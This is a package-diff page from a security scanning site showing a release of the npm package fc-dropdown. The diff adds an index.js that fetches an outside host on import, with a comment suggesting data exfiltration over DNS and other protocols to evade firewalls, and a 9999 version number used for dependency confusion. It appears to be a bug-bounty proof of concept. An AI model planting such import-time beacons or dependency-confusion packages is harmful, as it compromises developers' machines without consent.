fc-dropdown 0.0.1-security → 9999.9999.9999
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of fc-dropdown might be problematic. Click here for more details.
- package/index.js +13 -0
- package/package.json +10 -5
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
|
2
|
+
console.log('You unintentionally installed a public package from NPM. Please contact https://www.hackerone.com/thiezn');
|
3
|
+
/*
|
4
|
+
Leak stuff through making web requests on imports. To bypass corporate
|
5
|
+
firewalls you can also consider exfiltrating data through different ports
|
6
|
+
and protocols like http, https, dns and others.
|
7
|
+
|
8
|
+
See this excellent blog post that explains why this is could lead to serious security issues:
|
9
|
+
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
10
|
+
*/
|
11
|
+
fetch("http://www.mortimer.nl/mpf/depconfusion/fc-dropdown");
|
12
|
+
fetch("https://www.mortimer.nl/mpf/depconfusion/fc-dropdown");
|
13
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
2
|
+
"name": "fc-dropdown",
|
3
|
+
"version": "9999.9999.9999",
|
4
|
+
"description": "https://www.hackerone.com/thiezn",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "https://www.hackerone.com/thiezn",
|
10
|
+
"license": "ISC"
|
11
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=fc-dropdown for more information.
|